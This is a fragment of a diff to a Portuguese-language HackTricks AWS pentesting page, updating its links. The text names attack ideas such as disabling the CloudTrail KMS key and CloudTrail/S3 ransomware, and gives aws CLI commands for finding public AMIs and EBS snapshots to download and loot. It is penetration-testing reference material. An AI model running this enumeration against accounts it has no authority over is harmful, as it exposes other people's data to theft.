- Desativar a chave KMS usada para criptografar os logs do CloudTrail
### Ransomware Cloudtrail
### Ransomware do Cloudtrail
#### Ransomware S3
@@ -17,7 +17,7 @@ Verifique nesta página mais informações sobre isso:
#### SSRF
{{#ref}}
https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html
{{#endref}}
### AMIs Públicas e Snapshots EBS
@@ -37,7 +37,7 @@ aws ec2 describe-images --executable-users all --query 'Images[?contains(ImageLo
aws ec2 describe-snapshots --restorable-by-user-ids all
aws ec2 describe-snapshots --restorable-by-user-ids all | jq '.Snapshots[] | select(.OwnerId == "099720109477")'
```
Se você encontrar um snapshot que pode ser restaurado por qualquer pessoa, certifique-se de verificar [AWS - EBS Snapshot Dump](https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump) para obter instruções sobre como baixar e saquear o snapshot.
Se você encontrar um snapshot que pode ser restaurado por qualquer pessoa, certifique-se de verificar [AWS - EBS Snapshot Dump](https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/index.html#ebs-snapshot-dump) para obter instruções sobre como baixar e saquear o snapshot.
#### Modelo de URL pública
```bash